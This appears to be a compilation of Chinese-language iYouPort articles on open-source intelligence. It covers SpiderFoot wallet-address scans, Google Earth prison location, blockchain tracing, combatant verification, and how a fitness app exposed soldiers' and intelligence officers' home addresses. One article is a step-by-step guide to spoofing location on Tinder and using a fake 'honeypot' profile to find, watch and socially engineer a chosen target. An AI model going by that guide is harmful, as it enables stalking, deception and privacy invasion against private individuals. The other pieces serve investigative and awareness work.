those events will be consumed by modules. This
overrides -t and -m options. -q Disable logging.
```

步骤3：扫描比特币地址和余额

现在来看一个比特币地址和钱包余额，这是我们从一个网站上搜到的。我们要把几个东西链接在一起才行。这就是模块发挥作用的地方。

```
~/spiderfoot$ python3 ./sf.py -m
sfp_spider,sfp_bitcoin,sfp_blockchain -s
websiteurl.com -F -q
BITCOIN_ADDRESS,BITCOIN_BALANCE -q
```

在上面您可以看到我们正在使用的命令。命令的第一部分是用 Python 3 启动 SpiderFoot 工具。**-m** 表示您使用的是一个或多个模块，在它后面就是模块，用逗号隔开。

sfp_spider 模块会对我们要扫描的网站网页进行蜘蛛式搜索，找到里面的所有信息。**sfp_bitcoin** 模块会将通过 spidering 找到的所有比特币钱包地址隔离出来。而 **sfp_blockchain** 模块将把比特币地址传递

给API，由API来确定钱包中存储的具体金额。

接下来在命令中，使用 **-s**，后面是网站URL，这将让我们选择目标网站。然后，用 **-F** 来过滤出一组事件类型，特别是 **BITCOIN_ADDRESS** 和 **BITCOIN_BALANCE**。这就是我们要找的信息。最后，**-q** 用来隐藏输出中的所有信息，除了我们想要的东西。

现在以 bitcoinforcharity.com 为例，在一个真实的网站上运行它。

```
~/spiderfoot$ python3 ./sf.py -m
sfp_spider,sfp_bitcoin,sfp_blockchain -s
bitcoinforcharity.com -F
BITCOIN_ADDRESS,BITCOIN_BALANCE -q Source Type
Data sfp_bitcoin Bitcoin Address
1HesYJSP1QqcyPEjnQ9vzBL1wujruNGe7R sfp_blockchain
Bitcoin Balance 0.00021 BTC sfp_bitcoin Bitcoin
Address 16Sy8mvjyNgCRYS14m1Rtca3UfrFPzz9eJ
sfp_blockchain Bitcoin Balance 0.24481116 BTC
sfp_bitcoin Bitcoin Address
1M72Sfpbz1BPpXFHz9m3CdqATR44Jvaydd sfp_blockchain
Bitcoin Balance 1.62908644 BTC sfp_bitcoin Bitcoin
Address 1946W6LDsEYF9B5sPYDKfwLw6YBZuHns4L
sfp_blockchain Bitcoin Balance 0.02344126 BTC
sfp_bitcoin Bitcoin Address
1PC9aZC4hNX2rmmrt7uHTfYAS3hRbph4UN sfp_blockchain
Bitcoin Balance 1.89378293 BTC sfp_bitcoin Bitcoin
Address 1PAt5oKQGBRigFDY6fB2WgQTtQJNzFyTDr
sfp_blockchain Bitcoin Balance 0.0 BTC sfp_bitcoin
Bitcoin Address 1NgiUwkhYVYMy3eoMC9dHcvdHejGxcuaWm
sfp_blockchain Bitcoin Balance 0.06070947 BTC
sfp_bitcoin Bitcoin Address
1M87hiTAa49enJKVeT9gzLjYmJoYh9V98 sfp_blockchain
Bitcoin Balance 0.0 BTC sfp_bitcoin Bitcoin
Address 1CU5YgjquupDw6UeXEyA9VEBH34R7fZ19b
sfp_blockchain Bitcoin Balance 0.16549195 BTC
sfp_bitcoin Bitcoin Address
16DEzKc9fX4XfgGzEvQUJmoYeUrbRNXqxe sfp_blockchain
Bitcoin Balance 0.18967667 BTC sfp_bitcoin Bitcoin
Address 1AS3TiTqgJZK6CfNfqcbPXSx4PTFvfghvF
sfp_blockchain Bitcoin Balance 0.0 BTC sfp_bitcoin
```

```
Bitcoin Address 1Archive1n2C579dMsAu3iC6tWzuQJz8dN
sfp_blockchain Bitcoin Balance 3.17865301 BTC
```

从上面的输出中可以看到，该慈善机构有多个公开的比特币地址，由此我们看到确切的比特币钱包的金额。该机构并没有真正筹集到任何比特币，3.17865301 BTC 是最多的金额。如果您正在寻找一个通过加密货币转移大量资金的网站，这里的数字会很大。

步骤4：扫描 Ethereum 地址

对于 Ethereum 来说，您可以使用不同的命令结构来获取网站上发现的所有钱包地址，但您将无法像比特币那样获得任何余额。为了快速演示，我们将扫描 etherdonation.com。

```
~/spiderfoot$ python3 ./sf.py -m
sfp_spider,sfp_ethereum -s etherdonation.com -F
ETHEREUM_ADDRESS -q Source Type Data sfp_ethereum
Ethereum Address
0xed6ca7d908f897d0b0d5f9b9e7aa470698e10b1b
sfp_ethereum Ethereum Address
0xed6ca7d908f897d0b0d5f9b9e7aa470698e10b1b
sfp_ethereum Ethereum Address
0xed6ca7d908f897d0b0d5f9b9e7aa470698e10b1b
sfp_ethereum Ethereum Address
0xed6ca7d908f897d0b0d5f9b9e7aa470698e10b1b
sfp_ethereum Ethereum Address
0xed6ca7d908f897d0b0d5f9b9e7aa470698e10b1b
sfp_ethereum Ethereum Address
0xed6ca7d908f897d0b0d5f9b9e7aa470698e10b1b
```

这里所做的只是使用 sfp_spider 和 Spider-ether 模块、以及以太坊发现模块 sfp_ethereum。而且去掉了余额的过滤器，因为我们找不到 Ethereum 的余额。

简单而强大

如果您想看到一些比特币交易量最大的组织，您可以在 google 上搜索类似 “top 100 bitcoin addresses” 这样的东西，然后选择一个排名靠前的结果进行监测。然后，您可以在命令中使用该网站的URL来查看哪些比特币地址的BTC移动量最大。〇

Extract Bitcoin Wallet Addresses & Balances from Websites with SpiderFoot CLI

原文

如何使用Google Earth定位西藏的监狱 - iyouport

开源情报-每个人都可用的武器

很简单的方法，即 充分利用现有报告中呈现的细节信息。

启动一个绘制西藏自治区监狱位置图的项目是一项相当艰巨的任务。本文将展示西藏研究项目利用的一些方法和来源，以确定许多监狱和拘留中心。在这种情况下，我们将着眼于通过囚犯报告从谷歌地球专业版中寻找和识别一个监狱。

西藏自治区（TAR）有350万人口，分布在122.8万平方公里的土地上。从字面上看，有很多地方需要覆盖。然而，一些开源的方法、工具和资源将有助于您的研究。

值得庆幸的是，人权组织，如大赦国际和人权观察，以及关注西藏的组织，如“拯救西藏”，以前的工作都包括报道西藏被拘留的政治犯情况。此外，美国国会及行政当局中国委员会（CECC）等政府机构也发布了年度囚犯报告。调查者可以利用这些公开来源以帮助确定和核实监狱的位置。

在大多数情况下，这些报告会包括该人被拘留的县或市，有时，如果你幸运的话，还会找到一张显示监狱的照片。在下面的案例中，报告包括一个名字和一张照片，我们将使用谷歌地球专业版的历史图像来识别它。谷歌地球专业版是一个免费下载的应用程序，可用于所有主要的操作系统。历史图像是该应用程序中的一个工具，允许您查看过去的卫星图像；历史图像的数量因地而异。

案例研究：寻找聂拉木监狱

「图」

这篇来自“拯救西藏”的文章写于2003年，描述了几个试图逃离西藏进入尼泊尔的囚犯被拘留的情况。这些囚犯随后被关押在位于“西藏-

尼泊尔边境附近”的“聂拉木监狱”，然后被转移到内陆的另一所监狱。

我们可以直接看到，这很可能是一个拘留中心，尽管与西藏研究项目中发现的其他设施相比，这是一个特别小的拘留中心。主要分析显示，该设施有一个瞭望塔和两座用于关押囚犯的小楼（见下图）。在谷歌上简单搜索“聂拉木”，发现它是西藏南部靠近西藏-尼泊尔边境的一个城镇和县。 这座监狱很可能是聂拉木县监狱。

在这种情况下，在谷歌地球专业版中找到聂拉木，把名字放进去，就可以四处看看了，这相对来说比较容易。然而，有时并不是那么简单。在许多情况下，一个特定的地点存在着大量的名称变体和代名词。在这些情况下，要交叉参考以前的研究，比如人权观察的这份报告（其中列出了所有西藏的罗马化藏语和普通话，以及普通话本身），以便找到一个县或地区的确切名称。在后来试图核实一个已知的地点时，这样的资料来源也很有用。在聂拉木镇的最新图像（2017年）中，似乎找不到与初级分析相匹配的东西，但确实发现了一个较大的监狱，位于这里：28°9'41.64″N 85°58'46.92″E。在下面的图片中，左上方标注了历史图像工具按钮和图像日期，中间标注了2017年图像中的监狱位置：

我们知道该监狱的源图像最晚是2003年的，而且在此后的18年里，该监狱很可能已经发生了变化。幸运的是，谷歌地球专业版有这个地点的历史图片，可以追溯到2005年。下面的图片是2005年12月的：

由于2005年的卫星图像质量很差，很难确定这个位置是否正确，我们可以回到原始图像，找到一些兴趣点（POI）进行进一步分析。必须把重点放在从高处容易识别的方面，如附近的房屋、景观和监狱的布局。在下面的分析中，注意到了五个兴趣点：a）背景中的建筑，b）距离较近的带有坡形尖顶的建筑，c）山/丘陵一侧的道路，d）带有平坦的深色屋顶的建筑，e）一个特殊的Z形墙壁结构，在那里似乎有一个门的缺口。

仔细检查相关位置后，虽然模糊不清，但依然可以在 12/2005 的卫星图像中识别出相同的 POI。

总之，在资料中找到了被称为“聂拉木监狱”的设施，并且可以进一步指出，自2003年以来，该监狱已经经历了几次变化和升级。谷歌地球专业版上的历史图像是西藏研究项目用来识别和核实整个西藏地区的监狱的有用工具，通常与其他资源和工具相结合使用。

在这里下载详细报告：https://tibetresearchproject.org/download-report/

原文

如何使用位置欺骗扩展追踪约会网站上的目标私密信息？ - iYouPort

开源情报-每个人都可用的武器

追踪是一门古老的生意，如今，它非常赚钱……于是，也更加危险

「图」

「图」

约会网站允许您在非常亲密的环境中看清楚一个人，于是对于追踪调查来说，它是个极为强大的渠道。

这些配置文件中包含的信息通常无法在其他地方找到，从而可以独特地了解一个人的私生活。

如果您知道有人在那里闲逛，您可以在Chrome浏览器中使用GPS欺骗扩展程序，以挖掘对方的 Tinder 个人资料。

从开源情报（**OSINT**）研究员、社交工程师或黑客进行侦察的角度来看，约会网站是可搜索数据库的独特集合。

通过约会网站研究目标可以揭示对黑客和社交工程有用的多种信息。

视频：

人们经常会使用相同的昵称，于是您通常可以通过查找常用的别名来跟踪互联网上的某个人。

由于许多用户还链接他们的 Instagram 个人资料，如果他们倾向于重复使用相同的昵称，那么拦截昵称可能是调查某个人整个在线存在的关键。

Google 图片搜索功能强大

您可以用来深入了解一个人生活的另一个因素是 Tinder 上的个人资料图片。

约会应用程序允许发布很多照片，因此提供了许多机会使用反转图像搜索每张个人资料照片以查找此人的其他帐户，即使他们有不同的昵称。

最后，当涉及到个人描述时，人们往往不会非常有创意。

通常他们只是复制粘贴同样的内容，于是你可以很容易地根据文本中存在的相同的错误或措辞特征，在其他网站上找到它们。

大多数人在打字时都会犯错，当他们重复部分文本时会将这些错误与其他帐户联系起来，并且会在常规 Google 搜索中找到同样独特的错误。

「图」

「图」

约会简介比你想象的更公开

虽然 Tinder 长期以来一直作为移动应用程序提供，但大多数用户并不知道该网站现在允许从电脑访问。

于是你可以使用此权限在 Google Chrome 中快速欺骗自己的位置，从而使调查人员能够伪装成在其所期望的用户所在位置附近，并开始对个人资料进行过滤。

由于您可以从任何地方轻松完成此任务，因此开始此类攻击所需的唯一信息就是了解目标的外观以及他们居住、工作或闲逛的一般概况。

反过来看，如果你是目标，你被了解得越多也就越危险。

Tinder 允许您在Web浏览器中进行一些基本的调查，即使初学者也不难开始。

要开始使用，您需要下载并安装 Google Chrome 浏览器，以及名为 Manual Geolocation 的扩展程序。

第一步：安装位置欺骗扩展

让你的浏览器学会撒谎。这很重要，因为它使您能够搜索特定区域的一个或多个人。

如果您的目标只是识别隶属公司A的员工，那么将自己的位置放到公司A总部，就可以直接从 Tinder 上找到您想要找的人。

为此，需要从 Chrome 网上应用商店下载 Manual Geolocation 扩展程序。

添加该扩展程序并接受所需的任何权限，您会在附加组件栏的右上角看到一个图标。

「图」

「图」

第二步：伪装你的位置到目标的位置

点击 Manual Geolocation 图标将打开一个地图，允许您自己选择浏览器将向其访问的任何网站报告的位置，在本例中为 Tinder。

双击地图上的位置，选择目标所在的位置。

「图」

「图」

您可以使用鼠标移动调整以优化您的位置。最后，单击窗口右上角的开/关以打开扩展。

第三步：从欺骗位置注册一个**Tinder**帐户

现在，不论您访问任何网站，都会将此虚构位置信息作为你的真实位置读取，而 Tinder 将认为您实际上位于那个指定的位置。

导航到 Tinder 并等到下面的页面加载。

「图」

「图」

点击“使用电话号码登录”以创建帐户。您可以在此处使用 Google 语音号码，因为像 Burner 这样的服务无效。

「图」

「图」

输入Google语音号码后，它会向您发送一个包含代码的文本，以确认您拥有该号码。收到后，请在此字段中输入。

「图」

「图」

第四步：创建一个足够吸引你的目标的个人资料

如果您只想被动地监视目标，则需要考虑目标的喜好并输入那种能一见钟情的信息。如果您希望目标与您进行交互，那么最好创建一个可以激发他们欲望的简介。

下面是蜜罐个人资料的模板。

一般来说，男人喜欢一个优雅、平易近人、经验丰富，也许有点悲伤的女人。确保使用公共图像或合成图像而不是私人照片来执行此操作，此案例是从 Flickr 中选择的一个可以免费使用的图像。

「图」

「图」

创建个人资料后，点击“继续”以启动新身份。“Edith” 就活了。

第五步：特定设置以便易于被发现

这个 Edith 个人资料想要捕捉附近的任何人，所以需要让 Tinder 了解这个个人资料。

点击左上角的 “我的个人资料”，打开过滤器设置。

您需要让 Tinder 知道 Edith 就在这里与您的调查目标位置完全相同，所以输入您在这里想要寻找的人的年龄；需要指定年龄范围，因此请尝试将目标人的实际年龄放在平均数的位置上。

将 maximum distance 设置为1，除非您正在监视一个非常大的区域，否则您将扫描大量随机个人资料。

「图」

「图」

第六步：开始扫荡

现在开始查看该区域中符合过滤器设置的任何人的个人资料。

每个个人资料都允许您展开它以查看更多信息，这对于将人员关联到另一个站点来说非常有用。黑客可以从中找到各种不同的攻击媒介。

如果您正在搜索特定的人，就需要把当前过滤器集提供的选项用尽，直到确定您的目标不在那里。

重点是在找到目标之前继续观察。

如果不这样做，也可以尝试查看其他位置或等待一段时间再查看目标是否登录。

第七步：瞄准

当找到目标时，您可以点击他们的个人资料以获取更多信息。

在这里您可以找到其他照片以使用反向图像搜索并链接到其他个人资料。

如下所示，反向图片搜索显示了很多结果。

还可以继续使用昵称和其他相关信息进行搜索，您将有希望发现其他在线数据面包屑。不够小心的人非常非常多。

「图」

「图」

如果您设置的袜子木偶账户足够能吸引目标的兴趣，对方甚至会主动和你联系。这是非常幸运的，准备好你的社交工程大法吧。

本案例中的袜子木偶 Edith 只是被动监视者，一直在看而不是出手；一旦你越过那条线，就不再是被动监视了。

当然，如果您很想要试探一下目标是否是您需要的那个人，主动出击是有效的。（万一对方也是个袜子木偶呢？）

第八步：改变位置，瞄准一个新区域

如果您的目标已经移动了位置或更新了社交媒体，您可以通过再次单击浏览器工具栏中的扩展图标，并按照之前的方式选择新位置，来调整您在 Tinder 上的位置。

您需要先关闭它并打开一个新标签，而不仅仅是刷新。然后，再次导航到 Tinder，您的位置应该已经使用 Chrome 提供的新位置进行了更新。

你可以重复这个过程，直到覆盖所有目标可能会徘徊地点的1英里半径区域，吸引相关区域内任何符合目标年龄的人。

在编写您的个人资料时需要考虑的东西

任何人都可以创建Tinder个人资料，但大多数人都忘记了他们可以被任何对他们感兴趣的人找到。

许多黑客认为约会网站个人资料是网络钓鱼和社交工程攻击的合法入口点。如果有人能找到你，他们也可以联系你。

所以，在撰写个人资料时，请问自己一些问题：

- 我还在哪里使用过这张照片？ Google图片搜索是一款功能强大的工具。
- 我还在哪里使用过相同的个人简介？
- 我是否提到了自己在其他许多地方使用过的昵称？

如果你在重要的地方使用过相同的昵称、头像和简介，会带来很多额外的风险。

黑客和渗透测试人员都喜欢查找这类多汁的个人资料，所以不要让自己成为恶意陌生人的轻松目标。

约会网站永远不会受到限制

⚠众所周知，约会网站已经被警察、间谍、罪犯、研究人员、以及其他各方用于任何目的。因为可以轻松揭示有关目标的更私密信息。

「图」

「图」

构建仿真个人资料的较好方法是，把不想干的但有逻辑关系的各种真人个人资料的片段拼凑在一起，以使袜子木偶看起来鲜活真实。

对于一些人来说，在现实中和在数字世界中的形象有一些差别，但约会网站中找到的数据往往能衔接现实和网络。

希望有更多中国行动者参与到开源情报调查工作中来。不仅仅是因为开源情报市场已经数十亿美元、相关工作都是高薪的；更有，中国真的需要挖掘真相的民间独立组织。〇 广告

原文

如何使用区块链追踪暗网服务交易 - iYouPort

开源情报-每个人都可用的武器监视区块链和反现金之战

能追踪非法交易，就能追踪一切交易；而且是否“合法”，由追踪者来定义

「图」

「图」

去年我们演示过《在区块链上追踪比特币交易》的简单方法，本文是另一个同类演示。

⚠请注意：和上一篇演示一样（使用的调查目标是俄罗斯特工），本次的演示也是使用明确非法的行为，但是，您必需知道，同样的方法能追踪到非法交易，就能追踪到任何交易。

人们对加密货币似乎有一个普遍的误解，感觉它终于可以摆脱国家的监控了。是的，这是个理想状态，也是加密货币创立者的伟大追求。

但是，事实上，不仅容易识别某些站点之间的关系，而且洋葱站点还会留下许多 “数字指纹”。尤其是比特币。

请注意这里指的仅仅是开源调查。

在这个案例研究中，您将能看到：

- 如何识别洋葱站点之间的联系（暗网）
- 如何识别两个比特币地址之间的关系
- 如何跟踪地址到注册交易所

为了直观地解释，下面这个图应该是您希望看到的：

「图」

「图」

暗网服务 —— 众多中的两个

本案例研究的两个主题是：银行网站 BancoPanama，销售匿名的“离岸银行帐户”，以比特币交易；以及 Dark Web UnlockDevices，该服务允许您匿名解锁手机，也是通过比特币交易。

「图」

「图」

「图」

「图」

本案例的研究不是要确定这些网站是否是欺诈网站；而是要识别它们之间的关系，以表明它们是同一个人所有的，并追踪其区块链指纹到注册的加密货币交易所。

用于暗网洋葱站点的分析工具

在本案例研究中，我们将使用四个工具，它们是：#**Fresh Onions** (http://zlal32teyptf4tvi.onion/)

- **Wallet Explorer** (https://www.walletexplorer.com/)
- **Blockchain Explorer** (https://www.blockchain.com/explorer)
- **Tor Browser** (https://www.torproject.org/)

1. 发生了多少笔交易

- 钱来自哪里，有多少钱
- 汇款到哪里以及汇了多少钱
- 交易历史的时间表
- 以及该钱包中的其他相关比特币地址

1. A **bitcoin** "mixing service", or

- An **exchange**

1. 《VPN？入侵？比特币？俄罗斯攻击者究竟是怎么被发现的？》

- 《他们是如何抓捕说真话的人？—— 灾难和教训》当然，这个不涉及加密货币，而是在线匿名失败的问题，但是非常恐怖，足够显示当权者的能力。

Tracing an offshore bank and a dark web service using the blockchain—an OSINT investigation

原文

如何使用数字技巧在线验证中东冲突中的战斗伙伴关系 #开源调查 - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

> 看起来合理的不一定就是真实的。中东冲突中的假消息比子弹和无人机轰炸更泛滥，给分析和追责带来了极大的难度。如今中国对中东的兴趣已经引来了观察家们的议题，然而我们发现其中有些人引用的论据却是谣传……

「图」

社交媒体和智能手机在整个中东的流通已经令大量公开可用的关于该地区冲突的文件公之于众。无论是视频还是照片，从战斗片段到潜在的战争罪行 — 很多事情都经常被记录下来并上传到各种网站，如 Facebook，Twitter 和 YouTube。

这些照片和视频给记者、分析家和研究这些冲突的其他人，提供了一把双刃剑。

一方面，主要的源素材和照片可以让记者发现战争罪和其他侵犯人权的行为。然而，另一方面，被错误归因的照片和视频可能造成的是虚假报道或错误信息，以操纵观众错误的结论。

例如，一张关于遭受酷刑的被拘留者的视频被张贴在 Twitter 上，发布者声称该视频描绘了亲政府部队在叙利亚东部 Ghouta 折磨一名平民。由于亲政府部队多次对全国各地的囚犯施以酷刑，这种镜头一点都不稀奇。

但是，如果你仔细看一下这视频就能发现，某些方面似乎不太对劲。首先，囚犯和俘虏似乎正在用乌尔都语进行交流，这是一种在叙利亚不常见的南亚语言。如果囚犯确实是叙利亚人，他就不会用乌尔都语说话。利用这条线索，验证 Sy-Sy 的记者 Dirar Khatab（一个非营利组织，负责验证叙利亚冲突中的视频和镜头）确定该视频未在叙利亚发生，而是此前一年，发生在巴基斯坦。

这种虚假信息如今非常多见。记者、分析师和研究人员需要找到一些方法以验证他们正在查看的素材或照片究竟是不是发布者所描述的内容。事实上在线你就能完成这项工作，这里有大量可用于验证信息的开源工具。

本指南则是为了具体介绍如何确定在中东冲突中的照片或视频中所显示的战斗人员属于哪一方，这是验证该地区冲突的视频和照片之真实性的关键步骤。

军装

军服可以提供关于战斗人员是谁、以及他们隶属于哪个团体的线索。例如，军服上的迷彩图案通常代表其隶属于特定的国家、军事力量甚至是非国家行为者。

「图」

右侧身份不明的战士穿的很像是伊朗 IRGC Basij 迷彩

「图」

IRGC Basij 迷彩的一个例子，来自 Camopedia

上图，在叙利亚一群亲政府部队的例子中，最右边的战斗人员与其他战斗人员穿着不同类型的迷彩服。你可以通过 Camopedia 轻松识别他的制服，Camopedia 是世界各地迷彩图案的开源数据库。通过数据库，您可以看到战斗人员的制服似乎大致与伊朗的伊斯兰革命卫队（IRGC） Basij 的模式相匹配。这可能表明战斗人员与 IRGC Basij 部队存在联系。

除了 Camopedia 之外，“世界迷彩图案索引”也可以成为识别关于制服的有用资源。但是，索引不包括示例图片。尽管如此，它也可能更有助于识别 Camopedia 上未能列出的更加模糊的迷彩图案。

值得注意的是，单凭制服并不足以确定战斗人员的隶属关系，特别是考虑到黑市上迷彩服的泛滥。其他证据通常需要与制服信息一起使用，以确定战斗人员的隶属关系。

袖章和徽章

代表官衔等级或单位隶属关系的军事袖章和徽章是验证或识别战斗人员隶属关系的好方法。最明显的第一步是搜索在徽章上找到的任何单

词或短语，这每个人都知道；通常可以通过搜索国际统一徽章百科全书来识别没有文字的徽章。维基百科的比较军衔名单在识别徽章方面也非常有用。

「图」

这名伊拉克军官的肩章表明他是准将

「图」

伊拉克陆军准将肩章

不幸的是，维基百科和国际统一徽章百科全书都没有包括来自非国家行为者的袖章和徽章，因此从民兵等作战群体中识别徽章尤其具有挑战性。

当使用袖章来识别战斗人员时，请注意，在中东地区运作的特种部队经常佩戴他们所嵌入的一些团体的标志，作为一种误导的形式来掩盖他们的真实身份。

「图」

这名士兵袖子上的标示意味着叙利亚真主党

例如，上面照片中的战士，在他的制服上有一个黄色的真主党袖章。乍看似乎表明战斗员与真主党有关联。然而，这名战斗人员实际上是俄罗斯军方的成员，基于他的装备和制服。他穿着真主党的袖章可能是企图隐藏他真正的归属关系，或者可能是为了表明对俄罗斯正在与之并肩作战的组织表示团结。这个例子说明了袖章和徽章不是确证的方法。

武器装备

识别战斗人员使用的武器或装备可以揭示他们的归属关系。某些武器系统更有可能在特定国家和该国的军队中找到。小型武器 — 如步枪、子机枪和手枪 — 通常不仅仅能指出战斗人员所属的军队，有时甚至可以识别士兵所属的单位。

「图」

持有看似是 Tabuk 狙击步枪的战士

「图」

Tabuk狙击步枪的清晰镜头

塔布克狙击步枪，伊拉克 7.62x39mm 指定神枪手步枪。这条线索表明，战斗者可能在伊拉克，然后使用反向图像搜索寻找其他信息，最后确定他是伊拉克民兵的一部分。

「图」

在这张照片中的战斗人员使用了 S-5.56 Sayyad 步枪，这表明他与伊朗军方的联系

如上面的推文所示，Sayyad 5.56 步枪是伊朗克隆的中国 Norinco CQ，这表明该战斗人员与伊朗有联系。值得注意的是，使用小型武器来确定战斗人员的隶属关系也并不是一种万无一失的办法，特别是考虑到整个中东地区小型武器的扩散状况。

理想情况下，多种线索结合使用是很棒的，如制服或徽章、与小武器识别结合使用，将足够确认战斗人员的隶属关系。要识别小武器，您可以使用小武器调查的 武器 ID 数据库 按口径、类型、位置等数据搜索小型武器。

结论

总的来说，识别或验证中东的战斗人员从属关系时会遇到很多不同状况。有时，简单的反向图像搜索就足以确定战斗员隶属于哪一方。而其他时候，可能非常具有挑战性，需要语言和文化知识、开源研究技能、地理定位、武器识别等等。本指南仅介绍了验证战斗人员从属关系的几种方法。对于刚接触数字取证领域的初学者和其他人来说，识别战斗人员使用的制服、徽章和武器通常至少可以揭示目标人在冲突的哪一方，如果不能验证其所属的特定群体的话。

验证战斗人员来自哪一方可以帮助记者、执法人员和研究人员识别战争罪行的肇事者。例如叙利亚暴行。此外，这种验证还可用于检查可能基于不准确信息的报道。鉴于互联网上存在大量的虚假信息和错误信息，数字验证是对中东冲突进行开源调查时必不可少的一步。

附："//验证图片和视频真伪的工具箱//"

⚠ 任何时候，制造虚假图像和信息都是严重的错误，不论你的目标有多正义，只能证明你不可信。信息环境不是中立的：敌对行动者一直

在千方百计地寻找你的漏洞，借以攻击你。现代技术环境已经越来越容易验证假货，开源调查是独立媒体技能刚需。

- ○ **(Open-source intelligence) OSINT** 是从公开可用来源收集数据的调查。OSINT 不同于一般的调查研究（Research），它是为特定的个人或团队量身定制特定的情报处理工作，以支持其必须做出的特定决策。不论是情报机构、调查性新闻记者还是民间独立组织** ■

感谢帮助 ***iYouPort!***

PayPal捐赠渠道已开通 "https://paypal.me/iyouport"

原文

如何使用简单的应用程序找到隐藏的军事基地、士兵和秘密特工们的姓名和住址？ - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

不需要面部识别技术，一个简单的应用程序就可以让你识别军事人员、情报人员和其他所有用户的身份 — 甚至可以确定他们的家庭住址。这篇文章将告诉你如何做到这点。我们的目的是让所有人知道，贪图便捷随意使用 APP 的后果是什么

「图」

1月下旬，当 Strava 应用程序发布全球热图时，一切都崩溃了。你可以在上面看到这张地图，显示其所有用户的已记录活动。这是一张华丽的地图，可以看到每一个跑步的和骑自行车的人带有光闪闪的靓丽颜色。这东西是完全公开的：任何人都可以在网上查看它。

大部分活动都在西方国家进行。在世界其他地方，Strava 的用户很少，地图基本上是空的。但是在这里和那里，有时候在沙漠地区或其他荒凉的地方也能找到一阵丰富的色彩。

一些聪明的调查人员很快就会发现它更有趣的用途：军事基地，其中一些甚至是一直试图保持隐秘的军事基地。使用 Strava 的西方军事人员不知不觉地引起了全球人对他们自己和他们同事的关注。

怎么做？

第一阶段：

在荷兰，Foeke Postma 对此感兴趣。他是开源情报网站 Bellingcat 的死忠和志愿者。 4月，Postma 开始使用芬兰公司 Polar 制作的健身应用程序; 他很好奇应用程序将收集哪些关于他的数据。像许多其他用户一样，他在出门前打开应用程序，并且在他回到家之前不会关闭。

Polar 的地图向他展示了他家附近越来越多的跑步者。 Postma 意识到这意味着什么：如果他公开自己的个人资料，任何人都可以看到他住在哪里。

他的侦探心理变得活灵活现了。他滚动浏览 Polar 的地图，找到了 **Volkel**，这是一个储存核武器的荷兰军事基地。 Bam：“这里有一个跑步者，使用了真实姓名记录”。 Postma 缩小并找到慢跑者跑步的其他路线。大多数的记录开始和结束于附近城镇的房子，也就是他们就住在附近。

使用 LinkedIn搜索，Postma 得知那个慢跑者是荷兰军方的高级军官。他现在知道了这个人的家庭住址。并且成功地在其他敏感地点重复了这一伎俩。

Postma 意识到他偶然发现了重大的安全漏洞。他联系了荷兰媒体 De Correspondent 并告诉媒体他所使用的简单技巧。De Correspondent 决定帮助他，因此进一步追究此事。

以下是如何精确定位家庭地址的四个步骤：

「图」

起初人们觉得整件事都有些讽刺。记者们展示了特定敏感站点附近的跑道，例如军营，并示范了了追踪跑步者家庭住址的容易程度。到此为止仍然只是一种好奇心。

当他们放大伊拉克北部的埃尔比勒国际机场时，情况发生了变化。这个机场是几个北约国家的军事基地的所在地，包括荷兰 — 正在帮助库尔德军队与伊斯兰国恐怖组织作战。

他们找到了四名荷兰士兵，包括一名被称之为“Tom”的士兵（这是记者采取的化名，后面部分都是如此），鉴于软件显示的他的快速心率和悠闲的步伐不怎么匹配，说明 Tom 不是埃尔比勒基地最适合的士兵。记者们甚至还找到了这名士兵的 **Facebook** 页面。他和妻子在 FB 分享的照片 — 与全世界其他人一样 — 揭示了太多私人信息，Tom 的孩子们已经二十出头了。几分钟后，记者们在荷兰北部的一个小镇上追查到了这名士兵的家庭住址。

记者们也偶然发现了化名为“John“的另一个人。”John 的 Facebook 页面没有提及他在埃尔比勒的使命。他一直小心翼翼地保密这些信息。但记者们确实找到了他的孩子的照片，还是一个婴儿，他亲切地

抱着他的肩膀。通过 Polar，记者们发现他住的房子位于一个中等规模的荷兰城市的工人阶级社区。

当记者们找到 Tom 和 John 的家庭住址时，他们意识到自己正在处理的正是可能危及人们生命的信息。如果 ISIS 战士或同情者去寻找这些士兵，打算复仇的话可怎么办？如果骇客收集这些信息并将其卖给出价最高的人会怎么样？因为所有人都很容易找到这些信息。

是时候认真对待这件事了。记者们把自己想象成是那种想要播下恐惧、监视别人、讹诈别人进行间谍活动的人。然后开始系统地搜索目标。

第二阶段

对于 Postma 已经找到的 Volkel 基地的高级官员“Frank”来说（也是化名），间谍和勒索是潜在的严重问题。因为核武器储存在这个基地。有人可以使用 Frank 的身份收集有关基本安全的信息：例如拦截 Frank 的通信，或者榨取机密信息。

记者们在几分钟内就找到了 Frank 的家庭住址。还知道他至少有两个女儿。知道他的妻子在哪里工作，以及他们的爱好都是什么。甚至可以访问每个家庭成员的照片。这些愚蠢的人平日完全没有注意到自己把什么放在了网上。

Frank 并不是唯一一个在 Volkel 军事基地附近进行健身训练的人。记者们还找到了另外三个人。每个家庭住址都是非常详细的。

「图」

记者们还发现了驻扎在马里加奥军事基地的几名军事人员。他们大多数是德国人。一名士兵的父母住在德国南部，靠近奥地利边境，在一个迷人的小房子里。记者们还发现了另外两名荷兰士兵，根据他们的锻炼数据判断，他们已经回到家中了。在马里时，他们从未离开基地。

「图」

记者们还研究了外国军事基地，包括古巴的关塔那摩湾，臭名昭着的美国拘留营所在地。他们直接看到了几个人的路线，包括监狱附近的路线，追踪到了一名跑步者，直到德克萨斯州达拉斯的一个和平社区的家庭住址。他们因酒驾而被捕的小细节也记者们发现了。

「图」

这名士兵毫无隐私保护意识的行为，还将记者们引向了美国密苏里州的军事基地 — 伦纳德伍德堡。关塔那摩湾等地方的军事警卫就在这里训练，记者们从一些额外的搜索中学习到的。 Polar 地图上的信息可以为找到在其他敏感地点工作的人提供有价值的线索。

特勤局

您可能希望情报人员无法追踪，以便牢固掌握操作安全性。事实上，他们的身份在荷兰被归类为国家机密。但 Polar 的应用程序让它成为一块蛋糕，一览无余，随便瓜分。

荷兰军事情报机构 **MIVD** 总部设在海牙的 Frederik 军营。Polar 清晰地展示了从该建筑物开始及结束的全程锻炼身体的人士们的所有细节。

「图」

其中一个人登录了会话，在 Polar 应用程序中列出了自己的真实姓名。记者们顺着这个线索找到他的 **LinkedIn** 帐户，信息显示他在荷兰国防部工作。他还被列入了可公开访问的在线 MIVD 情报机构员工时事通讯。 Polar 的地图向记者们展示了此人经常从 MIVD 办公室骑自行车到鹿特丹附近的家庭住址。契约登记簿告诉了记者们这一确切的地址。

另一名 MIVD 员工也在 Frederik Barracks 工作，但他的个人资料被设置为私人的。这意味着记者们不能使用 Polar 找到他的名字，说明此人相比下稍微有点脑子。

